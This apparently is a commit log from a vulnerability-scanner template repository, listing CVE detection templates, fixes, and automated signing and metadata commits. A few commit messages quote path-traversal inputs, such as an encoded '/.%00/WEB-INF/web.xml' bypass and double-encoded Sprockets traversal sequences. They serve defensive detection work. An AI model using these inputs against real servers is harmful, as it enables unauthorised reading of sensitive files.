Compare commits

..
2516 Commits
Author SHA1 Message Date
Prince Chaddha 893122ffce Merge pull request #17258 from projectdiscovery/fix/re-sign-after-metadata-updates
Re-sign templates after EPSS and KEV metadata updates
2026-09-16 18:50:27 +04:00
ghost 3972b78521 chore: generate templates checksum 🤖 2026-09-16 14:08:02 +00:00
Prince ChaddhaandClaude Opus 5 15a201dc81 Re-sign templates after EPSS and KEV metadata updates
The EPSS and KEV workflows rewrite template YAML on a daily schedule, which
invalidates the signature of every file they touch. Signing is expected to
recover via the push trigger on this workflow, but those jobs commit with
GITHUB_TOKEN and GitHub does not start workflows from such pushes, so nothing
re-signs them until the next human merge lands.

Signature verification is only advisory for http and network templates, but
code and javascript templates are refused outright, so they silently stop
loading. On 2026-09-16 this left 18 code and 13 javascript templates unusable,
including CVE-2026-55040 and CVE-2026-83548, both CISA KEV entries.

workflow_run fires regardless of which actor triggered the upstream run, so
chaining off the two metadata workflows restores signatures as soon as they
finish. The sign job itself also pushes with GITHUB_TOKEN, so this cannot
recurse.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-16 18:05:38 +04:00
ghost 4ced1acb44 chore: sign templates 🤖 2026-09-16 14:04:59 +00:00
ghost db04474caf chore: update KEV and vKEV tags and metadata 🤖 2026-09-16 03:12:50 +00:00
ghost 70b8e3b990 chore: update EPSS scores 🤖 2026-09-16 02:04:47 +00:00
ghost 6175b0492f chore: generate templates checksum 🤖 2026-09-16 00:06:14 +00:00
ghost 62e5930791 chore: generate new addition list 🤖 2026-09-16 00:04:34 +00:00
ghost ef30dfd853 chore: sign templates 🤖 2026-09-16 00:03:58 +00:00
Roberto Nunes 4c0984af38 Merge pull request #17234 from comradezephyr/main
Add unauthenticated AI/ML infrastructure exposure templates (Ray, ChromaDB, Qdrant, Flowise, Langflow)
2026-09-16 09:03:38 +09:00
Roberto Nunes d0ce36f653 Merge pull request #17235 from diedromeo/fix/CVE-2018-3760-detection-fix
fix(CVE-2018-3760): fix broken detection — add disable-path-automerge and flow
2026-09-16 09:03:25 +09:00
ghost 9cab5e4853 chore: generate templates checksum 🤖 2026-09-15 23:42:07 +00:00
Roberto Nunes 0fc615dd2a Remove extra newline in CVE-2018-3760.yaml 2026-09-16 08:41:06 +09:00
ghost 5a6d8b6040 chore: generate new addition list 🤖 2026-09-15 23:40:19 +00:00
ghost ca1557dc9b chore: generate new addition list 🤖 2026-09-15 23:39:51 +00:00
ghost eb58801b2d chore: sign templates 🤖 2026-09-15 23:39:39 +00:00
Roberto Nunes 9543290a5a Merge pull request #17247 from projectdiscovery/arangodb-auth-bypass-encoded-underscore
ArangoDB - Authentication Bypass via URL-Encoded Underscore (%5f) to RCE
2026-09-16 08:39:18 +09:00
ghost 3b9bc0bf17 chore: generate CVEs metadata 🤖 2026-09-15 23:39:14 +00:00
ghost e37667c544 chore: sign templates 🤖 2026-09-15 23:39:11 +00:00
Roberto Nunes d813a6ab1b Merge pull request #17251 from projectdiscovery/CVE-2026-27960
CVE-2026-27960 - OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
2026-09-16 08:38:51 +09:00
Zephyr dc0fda6109 Merge branch 'main' into main 2026-09-15 03:43:19 -07:00
Aman Rawat 27478bd241 Merge branch 'main' into fix/CVE-2018-3760-detection-fix 2026-09-15 14:14:04 +05:30
ghost 26219f2472 chore: generate templates checksum 🤖 2026-09-15 08:10:34 +00:00
ghost d3016d1ca4 chore: generate new addition list 🤖 2026-09-15 08:08:39 +00:00
ghost 3da25f5552 chore: generate new addition list 🤖 2026-09-15 08:08:13 +00:00
ghost 6f6d72314f chore: generate new addition list 🤖 2026-09-15 08:08:02 +00:00
ghost c79c1bd0c0 chore: generate CVEs metadata 🤖 2026-09-15 08:07:58 +00:00
ghost bf97da34e0 chore: sign templates 🤖 2026-09-15 08:07:53 +00:00
ghost fee8c945a7 chore: generate new addition list 🤖 2026-09-15 08:07:43 +00:00
Aman Rawat cc70d15eb5 Merge pull request #17250 from projectdiscovery/CVE-2026-0768
CVE-2026-0768 - Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
2026-09-15 13:37:30 +05:30
Aman Rawat 862bbaadac Merge pull request #17249 from projectdiscovery/CVE-2026-59726
CVE-2026-59726 - ruflo MCP Bridge - Unauthenticated RCE via terminal execute
2026-09-15 13:37:10 +05:30
Aman Rawat e62559e93f Merge pull request #17245 from projectdiscovery/CVE-2026-5524
CVE-2026-5524 - Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
2026-09-15 13:36:57 +05:30
Aman Rawat c7be50c3af Merge pull request #17243 from projectdiscovery/CVE-2026-1281
CVE-2026-1281 - Ivanti EPMM <=12.7.0.0 - Unauthenticated Code Injection
2026-09-15 13:36:40 +05:30
ghost 2e6a38c4b2 chore: generate templates checksum 🤖 2026-09-15 08:01:48 +00:00
ghost 6f8ea44f4f chore: generate CVEs metadata 🤖 2026-09-15 08:00:09 +00:00
ghost c803df1857 chore: sign templates 🤖 2026-09-15 08:00:02 +00:00
Aman Rawat 6dad5507b2 Merge pull request #17236 from diedromeo/fix/CVE-2021-34429-path-duplication
fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
2026-09-15 13:29:39 +05:30
ghost b0500d6958 chore: generate new addition list 🤖 2026-09-15 07:59:31 +00:00
ghost 5e2caa0bf2 chore: sign templates 🤖 2026-09-15 07:59:06 +00:00
Aman Rawat 211ad24473 Merge pull request #17229 from str4k3r/codex/cve-2026-59509
Add cve-search CVE-2026-59509 template
2026-09-15 13:28:42 +05:30
ghost 9f5842588e chore: generate templates checksum 🤖 2026-09-15 07:52:22 +00:00
ghost 1d489a08f5 chore: generate new addition list 🤖 2026-09-15 07:52:19 +00:00
ghost 3946ada01a chore: generate CVEs metadata 🤖 2026-09-15 07:51:51 +00:00
ghost fe0b3e02ea chore: sign templates 🤖 2026-09-15 07:51:43 +00:00
ghost 38036d6310 chore: generate new addition list 🤖 2026-09-15 07:51:24 +00:00
Aman Rawat dc18055436 Merge pull request #17225 from str4k3r/str4k3r/cve-2026-59177
Add CVE-2026-59177 template
2026-09-15 13:21:20 +05:30
ghost 2b09d45318 chore: generate CVEs metadata 🤖 2026-09-15 07:50:37 +00:00
ghost 3c6b2b996d chore: sign templates 🤖 2026-09-15 07:50:31 +00:00
Aman Rawat 70e87f66d9 Merge pull request #17215 from str4k3r/str4k3r/cve-2026-27454
Add CVE-2026-27454 template
2026-09-15 13:20:09 +05:30
ghost ebc8faf544 chore: generate new addition list 🤖 2026-09-15 07:50:00 +00:00
ghost 6cf64f5424 chore: generate new addition list 🤖 2026-09-15 07:49:47 +00:00
ghost 9979c2397e chore: generate CVEs metadata 🤖 2026-09-15 07:49:38 +00:00
ghost 55b0c495ad chore: sign templates 🤖 2026-09-15 07:49:31 +00:00
Aman Rawat 3d39364f79 Merge pull request #17207 from str4k3r/str4k3r/cve-2026-28141
Add CVE-2026-28141 template
2026-09-15 13:19:12 +05:30
ghost c482dd1b80 chore: generate CVEs metadata 🤖 2026-09-15 07:49:00 +00:00
ghost 276a34425a chore: sign templates 🤖 2026-09-15 07:48:58 +00:00
Aman Rawat 13c9bbc512 Merge pull request #17198 from str4k3r/str4k3r/cve-2026-29963
Add CVE-2026-29963 template
2026-09-15 13:18:37 +05:30
Aman Rawat 882a2fb665 Merge pull request #17025 from darses/patch-58
Add CVE-2026-81578
2026-09-15 13:18:18 +05:30
ghost 254d105fb0 chore: generate templates checksum 🤖 2026-09-15 07:47:16 +00:00
ghost 0f36ed8088 chore: generate new addition list 🤖 2026-09-15 07:45:02 +00:00
ghost 33c53c80b0 chore: generate CVEs metadata 🤖 2026-09-15 07:44:41 +00:00
ghost 0a693f5ac2 chore: sign templates 🤖 2026-09-15 07:44:34 +00:00
Aman Rawat d015442ee0 Merge pull request #17252 from projectdiscovery/CVE-2026-62382
CVE-2026-62382 - PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass
2026-09-15 13:14:13 +05:30
Dhiyaneshwaran 34784577c0 CVE-2026-62382 - PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass 2026-09-15 12:39:43 +05:30
ghost b8b54c0df8 chore: generate templates checksum 🤖 2026-09-15 05:42:13 +00:00
ghost 792af93066 chore: generate new addition list 🤖 2026-09-15 05:40:34 +00:00
ghost f5e0e79b76 chore: generate new addition list 🤖 2026-09-15 05:40:11 +00:00
ghost ab90ee70ad chore: generate CVEs metadata 🤖 2026-09-15 05:39:37 +00:00
ghost 361d3ae1c5 chore: sign templates 🤖 2026-09-15 05:39:31 +00:00
Roberto Nunes 5d95676d41 Create CVE-2026-85200.yaml (#17248) 2026-09-15 11:09:29 +05:30
Roberto Nunes 263209c61e Create CVE-2026-88062.yaml (#17246) 2026-09-15 11:09:09 +05:30
Dhiyaneshwaran 9f42eeeea9 Update CVE-2026-27960.yaml 2026-09-15 10:57:21 +05:30
Dhiyaneshwaran 9e2f9af2d5 CVE-2026-27960 - OpenCTI <6.9.13 - Authentication Bypass via User Impersonation 2026-09-15 10:42:47 +05:30
Dhiyaneshwaran c4b0b64a19 CVE-2026-0768 - Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code 2026-09-15 09:18:43 +05:30
Dhiyaneshwaran bc616c13fa CVE-2026-59726 - ruflo MCP Bridge - Unauthenticated RCE via terminal_execute 2026-09-15 08:58:52 +05:30
ghost f22cdc7ba0 chore: update KEV and vKEV tags and metadata 🤖 2026-09-15 03:13:10 +00:00
Dhiyaneshwaran 4cfb16775a ArangoDB - Authentication Bypass via URL-Encoded Underscore (%5f) to RCE 2026-09-15 08:21:44 +05:30
ghost 3e30f83cd0 chore: update EPSS scores 🤖 2026-09-15 02:05:25 +00:00
ghost eba60257c2 chore: generate templates checksum 🤖 2026-09-15 01:42:31 +00:00
ghost dc7ac108b6 chore: generate new addition list 🤖 2026-09-15 01:40:43 +00:00
Dhiyaneshwaran e2bbc7c36c Delete http/exposures/apis/ray-dashboard-exposure.yaml
Duplicate of https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/ray-dashboard.yaml
2026-09-15 07:10:07 +05:30
ghost b34967473b chore: generate CVEs metadata 🤖 2026-09-15 01:40:03 +00:00
ghost e3c00d736c chore: sign templates 🤖 2026-09-15 01:40:01 +00:00
Roberto Nunes bcc1739b8d Merge pull request #17242 from projectdiscovery/DhiyaneshGeek-patch-2
CVE-2026-41948 - Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal
2026-09-15 10:39:41 +09:00
Dhiyaneshwaran 99abbc10f7 Delete http/exposures/apis/qdrant-api-exposure.yaml
duplicate of - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/unauth-qdrantui.yaml
2026-09-15 07:08:18 +05:30
DhiyaneshGeek 85f7db7121 fix: rewrite templates to use raw requests, DSL matchers, and proper metadata
- Remove chromadb-api-exposure (duplicate of existing chroma-api-exposure)
- Rename exposed-ray-chroma-api to ray-dashboard-exposure
- Add flow + internal:true for multi-step ray template
- Convert all templates to raw requests with DSL matchers
- Add metadata, references, and vendor tags
2026-09-15 06:57:22 +05:30
Dhiyaneshwaran dfeafe447b Refactor CVE-2026-59509.yaml for clarity and consistency
Removed redundant remediation section and adjusted formatting for clarity.
2026-09-15 06:15:13 +05:30
Dhiyaneshwaran c117bdf2a7 Update CVE-2026-27454.yaml 2026-09-15 06:04:50 +05:30
Dhiyaneshwaran 9c159bbede Update CVE-2026-27454.yaml 2026-09-15 06:01:11 +05:30
Dhiyaneshwaran 42fdfa03e6 Update CVE-2026-27454.yaml 2026-09-15 05:56:47 +05:30
Dhiyaneshwaran 55aa5ebdef Update CVE-2026-59177.yaml 2026-09-15 05:52:45 +05:30
Dhiyaneshwaran 64cec83f53 Revise CVE-2026-81578 YAML details
Updated CVE-2026-81578 details including name, description, impact, remediation, and classification. Modified flow and matchers for improved accuracy.
2026-09-15 05:47:01 +05:30
Dhiyaneshwaran 5c35d83962 CVE-2026-5524 - Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE 2026-09-15 04:23:37 +05:30
Dhiyaneshwaran 36e4b0f311 Update CVE-2026-1281.yaml 2026-09-15 04:10:32 +05:30
Dhiyaneshwaran 43d98460ac CVE-2026-1281 - Ivanti EPMM <=12.7.0.0 - Unauthenticated Code Injection 2026-09-15 04:07:46 +05:30
Dhiyaneshwaran e36aef3dbe CVE-2026-41948 - Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal 2026-09-15 03:48:02 +05:30
ghost cb1b18c501 chore: generate templates checksum 🤖 2026-09-14 19:00:51 +00:00
ghost 2bac3b6ba6 chore: generate new addition list 🤖 2026-09-14 18:58:42 +00:00
ghost 1c6fef8729 chore: sign templates 🤖 2026-09-14 18:58:11 +00:00
Ritik ChaddhaandDhiyaneshwaran 5d042ae59c Create CVE-2026-34234.yaml (#17193)
* Create CVE-2026-34234.yaml

* Update CVE-2026-34234.yaml with additional metadata

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-15 00:27:43 +05:30
ghost 6fbcd30db0 chore: generate templates checksum 🤖 2026-09-14 18:36:50 +00:00
ghost d6441c03f6 chore: generate new addition list 🤖 2026-09-14 18:34:42 +00:00
ghost 11af6fa52d chore: generate CVEs metadata 🤖 2026-09-14 18:34:00 +00:00
ghost 8a3d2952bd chore: sign templates 🤖 2026-09-14 18:33:57 +00:00
Last-STRAKERandRoberto Nunes fb166e501f Add CVE-2026-61736 template (#17197)
* Add CVE-2026-61736 template

* Update CVE-2026-61736.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-15 00:03:34 +05:30
ghost fcd9446d07 chore: generate templates checksum 🤖 2026-09-14 18:31:07 +00:00
ghost 745a1d8c70 chore: generate new addition list 🤖 2026-09-14 18:29:06 +00:00
ghost 2173904400 chore: generate CVEs metadata 🤖 2026-09-14 18:28:16 +00:00
ghost ea65cb995c chore: sign templates 🤖 2026-09-14 18:28:13 +00:00
Last-STRAKERandRoberto Nunes a22751828b Add CVE-2026-26265 template (#17216)
* Add CVE-2026-26265 template

* Update CVE-2026-26265.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:57:53 +05:30
ghost 7221661f64 chore: generate templates checksum 🤖 2026-09-14 18:27:08 +00:00
ghost d3c9c82fc8 chore: generate new addition list 🤖 2026-09-14 18:25:11 +00:00
ghost f38cb8587d chore: generate CVEs metadata 🤖 2026-09-14 18:24:13 +00:00
ghost 9febe4310d chore: sign templates 🤖 2026-09-14 18:24:07 +00:00
Last-STRAKERandRoberto Nunes e5d7ee0172 Add CVE-2026-58191 template (#17226)
* Add CVE-2026-58191 template

* Revise CVE-2026-58191 information and remediation

Updated CVE-2026-58191 details including name, description, impact, remediation, and references.

* Update CVE-2026-58191.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:53:45 +05:30
ghost 9c7e6bf9f0 chore: generate new addition list 🤖 2026-09-14 18:18:47 +00:00
ghost 2f175dddef chore: generate CVEs metadata 🤖 2026-09-14 18:18:11 +00:00
abc9fa3822 Add CVE-2025-57231 - Docmost 0.21.0 - Unauthenticated File Path Traversal (#17230)
* Added CVE-2025-57231 Template

* Update CVE-2025-57231.yaml

---------

Co-authored-by: test <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-09-14 23:47:44 +05:30
Parth Bhandari 59a92adf41 fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
The existing template uses `unsafe: true` which causes nuclei to
duplicate the request path (e.g. `/.%00/WEB-INF/web.xml` becomes
`/.%00/WEB-INF/web.xml/.%00/WEB-INF/web.xml`), resulting in zero
detections on vulnerable Jetty instances.

Changes:
- Replace `unsafe: true` with `disable-path-automerge: true` to
  preserve encoded characters without path duplication
- Add `stop-at-first-match: true` since either bypass vector suffices
- Remove `java.sun.com` body matcher — not all web.xml files contain
  this string; `</web-app>` is the universal indicator
- Remove unnecessary `Origin` header

Tested against:
- Jetty 9.4.42 (vulnerable): 1 match via .%00 bypass ✓
- Jetty 9.4.43 (patched): 0 matches ✓
- nuclei v3.11.1
2026-09-14 12:01:34 +05:30
ghost e77baf728b chore: generate templates checksum 🤖 2026-09-14 05:16:44 +00:00
ghost afb6606ebc chore: generate new addition list 🤖 2026-09-14 05:14:27 +00:00
ghost 936fcc57ac chore: generate CVEs metadata 🤖 2026-09-14 05:14:02 +00:00
ghost b1cee660ca chore: sign templates 🤖 2026-09-14 05:13:46 +00:00
Roberto Nunes e61ba8843e Merge pull request #17195 from christianfl/cve-2026-5562
Add CVE-2026-5562 template: Provectus kafka-ui Code Injection
2026-09-14 14:13:20 +09:00
Parth Bhandari b5b0595685 fix(CVE-2018-3760): fix broken detection with disable-path-automerge and flow
The existing template fails to detect CVE-2018-3760 on vulnerable targets
because nuclei URL-normalizes %2f and %252e in the request path, collapsing
the double-encoded traversal payload before it reaches the server.

Three changes fix the detection:

1. Add `disable-path-automerge: true` to preserve percent-encoded characters
   (%2f%2f and %252e%252e) on the wire
2. Split into two request blocks with `flow:` so the extractor from the leak
   request runs before the exploit request is built
3. Add `group: 1` to the extractor so only the load path is captured, not
   the full error string

Tested against vulhub/rails:5.0.7 (Sprockets 3.7.1 — vulnerable) and
Sprockets 3.7.2 (patched). Matches on vuln, no match on patched.
2026-09-14 10:25:20 +05:30
ghost 823ebcccf6 chore: update EPSS scores 🤖 2026-09-14 02:07:34 +00:00
Zephyr 7194fc1456 Add files via upload 2026-09-13 11:28:05 -07:00
Zephyr 10ffde3dc5 Add files via upload 2026-09-13 11:25:56 -07:00
ghost 0cb51d4bfa chore: generate templates checksum 🤖 2026-09-13 16:26:59 +00:00
ghost 0ee7791028 chore: generate new addition list 🤖 2026-09-13 16:24:44 +00:00
ghost 571b86fc48 chore: generate CVEs metadata 🤖 2026-09-13 16:24:08 +00:00
ghost 31366ff4ed chore: sign templates 🤖 2026-09-13 16:24:01 +00:00
Paul WertherandDhiyaneshwaran 20ff5a69c2 CVE-2026-85706 - GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read (#17231)
* feat: add CVE-2026-85706 template for GitLab unauthenticated file read vulnerability

* Update CVE-2026-85706 details and remediation

Updated CVE-2026-85706 details including affected versions, impact, remediation steps, and references. Enhanced descriptions and added new matchers and extractors for improved detection.

* Update file path in CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-13 21:53:40 +05:30
ghost a2a1b8dd37 chore: update KEV and vKEV tags and metadata 🤖 2026-09-13 03:12:36 +00:00
ghost fffd4242ae chore: update EPSS scores 🤖 2026-09-13 02:04:30 +00:00
str4k3r 92116683b5 Add cve-search CVE-2026-59509 template 2026-09-12 16:20:50 +03:00
ghost 8e20045753 chore: update KEV and vKEV tags and metadata 🤖 2026-09-12 03:12:13 +00:00
ghost 94d48ce293 chore: update EPSS scores 🤖 2026-09-12 02:04:50 +00:00
Last-STRAKER d637acebd3 Add CVE-2026-59177 template 2026-09-11 21:08:00 +03:00
Last-STRAKER 7dea8b7dcc Add CVE-2026-27454 template 2026-09-11 19:50:21 +03:00
Dhiyaneshwaran affb727926 Update CVE-2026-28141.yaml 2026-09-11 12:04:55 +05:30
Dhiyaneshwaran 93106c7a9f Update CVE-2026-28141.yaml 2026-09-11 11:54:07 +05:30
Last-STRAKER 91ae7df34e Strengthen CVE-2026-28141 matcher 2026-09-11 09:15:47 +03:00
Dhiyaneshwaran 8119268ec9 Revise remediation for CVE-2026-5562
Updated remediation steps for CVE-2026-5562 to reflect the end-of-life status of kafka-ui and suggest migration to the maintained fork.
2026-09-11 11:45:03 +05:30
Last-STRAKER 49ce6e3507 Add CVE-2026-28141 template 2026-09-11 09:06:09 +03:00
ghost 502ecb8683 chore: generate templates checksum 🤖 2026-09-11 05:24:37 +00:00
ghost 68fafb34d1 chore: generate new addition list 🤖 2026-09-11 05:22:47 +00:00
ghost 18a8c4aa3b chore: generate CVEs metadata 🤖 2026-09-11 05:22:09 +00:00
ghost d98acae929 chore: sign templates 🤖 2026-09-11 05:22:03 +00:00
Last-STRAKERandRoberto Nunes 2e8cfda67d Add CVE-2026-30849 template (#17201)
* Add CVE-2026-30849 template

* Update CVE-2026-30849.yaml

* Update CVE-2026-30849.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-11 10:51:41 +05:30
Dhiyaneshwaran 38ac536db0 Revise CVE-2026-5562 for remote code execution details
Updated CVE-2026-5562 details including name, description, impact, remediation, and HTTP request format.
2026-09-11 09:38:33 +05:30
ghost 6557ed0294 chore: update KEV and vKEV tags and metadata 🤖 2026-09-11 03:12:41 +00:00
ghost 46f66d6512 chore: update EPSS scores 🤖 2026-09-11 02:04:59 +00:00
Roberto Nunes 2aa44df810 Update CVE-2026-29963.yaml 2026-09-11 09:20:30 +09:00
Last-STRAKER da52db52a7 Add CVE-2026-29963 template 2026-09-10 23:50:18 +03:00
christianfl 07c1286cf7 add template for CVE-2026-5562 2026-09-10 17:35:51 +02:00
ghost eeab198166 chore: generate templates checksum 🤖 2026-09-10 12:41:56 +00:00
ghost ddd39a8998 chore: generate new addition list 🤖 2026-09-10 12:39:42 +00:00
ghost f37ab38ed3 chore: sign templates 🤖 2026-09-10 12:39:02 +00:00
Ritik Chaddha ec182887c3 Merge pull request #17145 from str4k3r/str4k3r/cve-2026-29962
Add CVE-2026-29962 template
2026-09-10 18:08:38 +05:30
ghost 5a7de6fe8f chore: generate templates checksum 🤖 2026-09-10 12:23:09 +00:00
ghost 911b6660d5 chore: generate new addition list 🤖 2026-09-10 12:21:25 +00:00
ghost ea7addbdd6 chore: generate new addition list 🤖 2026-09-10 12:20:54 +00:00
ghost 2de5f54b77 chore: sign templates 🤖 2026-09-10 12:20:21 +00:00
Ritik Chaddha fd794d6230 Merge pull request #17158 from icarot/main
Create apache-livy-detect.yaml and apache-livy-logs.yaml
2026-09-10 17:49:59 +05:30
Ritik Chaddha 0d7a3c24dd Merge pull request #17160 from projectdiscovery/Akokonunes-patch-15
Create CVE-2026-48558.yaml - SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
2026-09-10 17:49:48 +05:30
ghost aa79941794 chore: generate new addition list 🤖 2026-09-10 12:18:04 +00:00
ghost 8105bc85ab chore: generate CVEs metadata 🤖 2026-09-10 12:17:25 +00:00
ghost d3de1f260b chore: sign templates 🤖 2026-09-10 12:17:22 +00:00
Ritik Chaddha 48fd38dd96 Merge pull request #17153 from projectdiscovery/Akokonunes-patch-12
Create CVE-2026-41456.yaml - Bludit CMS <= 3.20.0 - Unauthenticated Reflected XSS via Search
2026-09-10 17:47:02 +05:30
Ritik Chaddha 4b16298cf8 lint fix 2026-09-10 17:46:18 +05:30
ghost 04f21f24a9 chore: generate templates checksum 🤖 2026-09-10 12:15:17 +00:00
Ritik Chaddha 72aabdd5c9 Update apache-livy-detect.yaml 2026-09-10 17:43:15 +05:30
ghost 1c8f0f8397 chore: generate new addition list 🤖 2026-09-10 12:13:08 +00:00
ghost 43a3461fa9 chore: generate templates checksum 🤖 2026-09-10 12:12:58 +00:00
Ritik Chaddha 1d96ce8555 Update apache-livy-logs.yaml 2026-09-10 17:42:39 +05:30
ghost 1d815deeab chore: generate CVEs metadata 🤖 2026-09-10 12:12:28 +00:00
ghost 2329ad10ec chore: sign templates 🤖 2026-09-10 12:12:25 +00:00
Ritik Chaddha c2b64a07b3 Merge pull request #17150 from str4k3r/str4k3r/cve-2026-58123
Add CVE-2026-58123 template
2026-09-10 17:42:04 +05:30
Ritik Chaddha 1caa82a6ce Update CVE-2026-41456.yaml 2026-09-10 17:41:54 +05:30
ghost 0dbae36098 chore: generate new addition list 🤖 2026-09-10 12:10:46 +00:00
ghost 2bca128d0f chore: generate CVEs metadata 🤖 2026-09-10 12:10:10 +00:00
ghost 88c9a1caa1 chore: sign templates 🤖 2026-09-10 12:10:05 +00:00
ghost a1bc238970 chore: generate new addition list 🤖 2026-09-10 12:10:01 +00:00
ghost 1d686b55bb chore: generate new addition list 🤖 2026-09-10 12:09:54 +00:00
Ritik Chaddha cf1a56f7c9 Merge pull request #17149 from str4k3r/str4k3r/cve-2026-53595
Add CVE-2026-53595 template
2026-09-10 17:39:46 +05:30
ghost 3d1584efda chore: generate new addition list 🤖 2026-09-10 12:09:38 +00:00
ghost 1a1cdef2fe chore: generate CVEs metadata 🤖 2026-09-10 12:09:23 +00:00
ghost e956bfa19f chore: sign templates 🤖 2026-09-10 12:09:21 +00:00
Ritik Chaddha ff9602ee38 Merge pull request #17128 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-82222.yaml - GiveWP <= 4.16.7.1 - Unauthenticated PHP Object Injection to RCE
2026-09-10 17:39:00 +05:30
Ritik Chaddha 9d0bf05496 Merge pull request #17039 from Dishant4081/patch-1
fix: CVE-2026-4257 nested payload variable not resolved on nuclei v3.11.1
2026-09-10 17:38:54 +05:30
Ritik Chaddha e6197d0c8a Merge pull request #17035 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8467.yaml - Phoenix Storybook - Unauthenticated RCE via WebSocket
2026-09-10 17:38:43 +05:30
Ritik Chaddha cb71690c76 Merge pull request #17031 from SergioCc13/siemens-s7-detect
Add Siemens SIMATIC S7 Series PLC detection template
2026-09-10 17:38:37 +05:30
Ritik Chaddha cf63ae3860 fix FP 2026-09-10 17:38:13 +05:30
ghost 094b33dadc chore: generate templates checksum 🤖 2026-09-10 12:01:52 +00:00
Ritik Chaddha 63163b754e Update CVE-2026-82222.yaml 2026-09-10 17:31:10 +05:30
Ritik Chaddha c8dc8dbc3a Merge branch 'main' into patch-1 2026-09-10 17:30:07 +05:30
ghost 0dec271e70 chore: generate new addition list 🤖 2026-09-10 11:59:34 +00:00
Ritik Chaddha c2613577e7 Update CVE-2026-8467.yaml 2026-09-10 17:29:21 +05:30
ghost b744611285 chore: generate CVEs metadata 🤖 2026-09-10 11:58:56 +00:00
ghost c98e49a299 chore: sign templates 🤖 2026-09-10 11:58:53 +00:00
Ritik Chaddha 73b052873e Merge pull request #17037 from projectdiscovery/CVE-2026-41679
CVE-2026-41679 - Paperclip - Remote Code Execution
2026-09-10 17:28:33 +05:30
Ritik Chaddha 6f99cf5099 Merge pull request #17032 from munzzyy/fix/hp-printer-default-login-matchers-condition
Fix hp-printer-default-login matching any 200 response as a hit
2026-09-10 17:28:22 +05:30
ghost 3ad738c82a chore: generate templates checksum 🤖 2026-09-10 10:56:41 +00:00
ghost 164de6332c chore: generate new addition list 🤖 2026-09-10 10:54:26 +00:00
ghost ddf629976b chore: sign templates 🤖 2026-09-10 10:53:42 +00:00
Roberto Nunes 482760be1e Merge pull request #17187 from righettod/sap-cc
Add detection of "SAP Cloud Connector" instances.
2026-09-10 19:53:22 +09:00
ghost d086f30a06 chore: generate templates checksum 🤖 2026-09-10 05:01:12 +00:00
ghost 7cff359797 chore: generate new addition list 🤖 2026-09-10 04:58:59 +00:00
ghost 42f741c26f chore: generate CVEs metadata 🤖 2026-09-10 04:58:21 +00:00
ghost a1d8aaeae1 chore: sign templates 🤖 2026-09-10 04:58:18 +00:00
Roberto NunesandDhiyaneshwaran cf3dff993c Create CVE-2026-81199.yaml - MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure (#17189)
* Create CVE-2026-81199.yaml

* Update vendor and framework information in CVE-2026-81199

* Update CVE-2026-81199.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-10 10:27:58 +05:30
ghost c99fcaa567 chore: generate templates checksum 🤖 2026-09-10 04:56:35 +00:00
ghost 89235e4781 chore: sign templates 🤖 2026-09-10 04:53:52 +00:00
ghost 982cb03bda chore: generate templates checksum 🤖 2026-09-10 04:53:33 +00:00
shoxxdjandshoxxdj 46c6178dd5 fix case where nginx is in front of the application (#17185)
Co-authored-by: shoxxdj <[email protected]>
2026-09-10 10:23:28 +05:30
ghost 771403c323 chore: generate new addition list 🤖 2026-09-10 04:51:22 +00:00
ghost c6223bb006 chore: sign templates 🤖 2026-09-10 04:50:45 +00:00
ghost 90de8d95ce chore: generate CVEs metadata 🤖 2026-09-10 04:50:42 +00:00
Roberto Nunes 02d55de340 Create CVE-2026-87820.yaml (#17190) 2026-09-10 10:20:19 +05:30
ghost 849b417b96 chore: update KEV and vKEV tags and metadata 🤖 2026-09-10 03:12:38 +00:00
ghost c558d70a0a chore: update EPSS scores 🤖 2026-09-10 02:04:51 +00:00
ghost e17ad8c242 chore: generate templates checksum 🤖 2026-09-10 00:12:33 +00:00
ghost e1480e8f03 chore: generate new addition list 🤖 2026-09-10 00:10:14 +00:00
ghost ced0c7acd2 chore: generate CVEs metadata 🤖 2026-09-10 00:09:49 +00:00
ghost f72ca4abd6 chore: sign templates 🤖 2026-09-10 00:09:34 +00:00
28efe82cca Add CVE-2026-2113 - tpadmin WebUploader RCE template (#17106)
* feat(cves): add CVE-2026-2113 tpadmin WebUploader RCE template

* Update CVE-2026-2113.yaml

* Update CVE-2026-2113.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-10 05:39:13 +05:30
ghost 51e1cd15aa chore: generate new addition list 🤖 2026-09-09 14:44:50 +00:00
ghost b82cc19bc5 chore: generate CVEs metadata 🤖 2026-09-09 14:44:08 +00:00
Last-STRAKERandAman Rawat d924f8fa4b Add CVE-2026-0702 template (#17053)
* Add CVE-2026-0702 template

* Update CVE-2026-0702.yaml

---------

